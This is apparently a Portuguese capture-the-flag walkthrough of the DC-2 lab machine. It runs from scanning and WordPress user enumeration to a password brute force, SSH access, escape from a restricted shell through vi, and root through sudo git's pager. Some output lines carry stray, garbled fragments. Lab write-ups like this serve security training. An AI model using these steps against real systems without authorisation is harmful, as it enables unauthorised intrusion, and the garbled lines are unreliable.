

DC-2

IP da máquina: 192.168.2.106 // MAC: 08:00:27:5E:07:20

Resultados do nmap:

nmap -A -p- 192.168.2.106

```
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_ http-server-header: Apache/2.4.10 (Debian) who is installed into plenty co
|_ http-title: Did not follow redirect to http://dc-2/
|_ https-redirect: ERROR: Script execution failed (use -d to debug)
7744/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
|_ ssh-hostkey:
|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
|   256  df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_  256  d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
MAC Address: 08:00:27:5E:07:20 (Oracle VirtualBox virtual NIC)
Device type: general purpose system installation
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
```

Resultados do dirb:

dirb http://192.168.2.106/

```
---- Scanning URL: http://192.168.2.106/ ----
+ http://192.168.2.106/index.php (CODE:200|SIZE:53562)
+ http://192.168.2.106/server-status (CODE:403|SIZE:301)
==> DIRECTORY: http://192.168.2.106/wp-admin/who is installed into pie
==> DIRECTORY: http://192.168.2.106/wp-content/o).
==> DIRECTORY: http://192.168.2.106/wp-includes/ defended against
+ http://192.168.2.106/xmlrpc.php (CODE:405|SIZE:42)

---- Entering directory: http://192.168.2.106/wp-admin/ ----
+ http://192.168.2.106/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.2.106/wp-admin/css/
==> DIRECTORY: http://192.168.2.106/wp-admin/images/
==> DIRECTORY: http://192.168.2.106/wp-admin/includes/
+ http://192.168.2.106/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.2.106/wp-admin/js/
==> DIRECTORY: http://192.168.2.106/wp-admin/maint/
==> DIRECTORY: http://192.168.2.106/wp-admin/network/
==> DIRECTORY: http://192.168.2.106/wp-admin/user/

---- Entering directory: http://192.168.2.106/wp-content/ ----
+ http://192.168.2.106/wp-content/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.2.106/wp-content/languages/
==> DIRECTORY: http://192.168.2.106/wp-content/plugins/
==> DIRECTORY: http://192.168.2.106/wp-content/themes/
```

Mudando o redirecionamento para dc-2 em /etc/hosts:

```

root@kali: ~
GNU nano 4.9.3 /etc/hosts
127.0.0.1    localhost
127.0.1.1    kali

# The following lines are desirable for IPv6 capable hosts
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
192.168.2.106 dc-2

```

wpscan:

wpscan --url http://dc-2 --enumerate u

```

[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
|   Wp Json Api (Aggressive Detection)
|     - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
|   Author Id Brute Forcing - Author Pattern (Aggressive Detection)
|   Login Error Messages (Aggressive Detection)

[+] jerry
| Found By: Wp Json Api (Aggressive Detection)
|   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
|   Author Id Brute Forcing - Author Pattern (Aggressive Detection)
|   Login Error Messages (Aggressive Detection)

[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

```

Montando uma wordlists com o cewl:

```
root@kali:~# cewl http://dc-2/ > wordlist.txt
```

Lista de usuários:

```

root@kali: ~
GNU nano 4.9.3 users.txt
admin Welcome What We Do Our People Our Products Flag
tom
jerry

```

Senhas encontradas:

wpscan --url http://dc-2 -U users.txt -P wordlist.txt

```

[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient

```

SSH:

```

root@kali:~# ssh tom@192.168.2.106 -p 7744
tom@192.168.2.106's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tom@DC-2:~$ id

```

Vendo os comandos habilitados para o usuário:

```

tom@DC-2:~$ echo $PATH
/home/tom/usr/bin
tom@DC-2:~$ ls /home/tom/usr/bin
less  ls  scp  vi

```

Criando uma shell:

```

tom@DC-2:~$ vi -c '!/bin/sh' /dev/null
/bin/rbash: /bin/sh: restricted: cannot specify `/' in command names
shell returned 1
Press ENTER or type command to continue

```

Vi:

:set shell=/bin/sh

```
:set shell=/bin/sh
```

:shell

```
:shell
```

export PATH=\$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

echo \$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

```

$ export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$ echo $PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
/home/tom/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

```

Login: jerry // Senha: adipiscing

```

$ su jerry
Password:
jerry@DC-2:/home/tom$

```

Permissão para git:

```

jerry@DC-2:/home/tom$ sudo -l
Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

```

sudo git help add:

```
jerry@DC-2:/home/tom$ sudo git help add
```

!/bin/bash

```
--ignore-missing      Flag 1:
    This option can only be used together with --dry-run. By using this option the user can
    check if any of the given files would be ignored, no matter if they are already present in
    the work tree or not.
                                need to be raw!

--
    This option can be used to separate command-line options from the list of files, (useful
    when filenames might be mistaken for command-line options).

CONFIGURATION
    The optional configuration variable core.excludesfile indicates a path to a file containing
    patterns of file names to exclude from git-add, similar to $GIT_DIR/info/exclude. Patterns in
    the exclude file are used in addition to those in info/exclude. See gitignore(5).

EXAMPLES
    .   Adds content from all *.txt files under Documentation directory and its subdirectories:

        $ git add Documentation/*.txt

    Note that the asterisk * is quoted from the shell in this example; this lets the command
    include the files from subdirectories of Documentation/ directory.

!/bin/bash
```

Root:

```
root@DC-2:/home/tom# id
uid=0(root) gid=0(root) groups=0(root)
root@DC-2:/home/tom# uname -a
Linux DC-2 3.16.0-4-586 #1 Debian 3.16.51-3 (2017-12-13) i686 GNU/Linux
```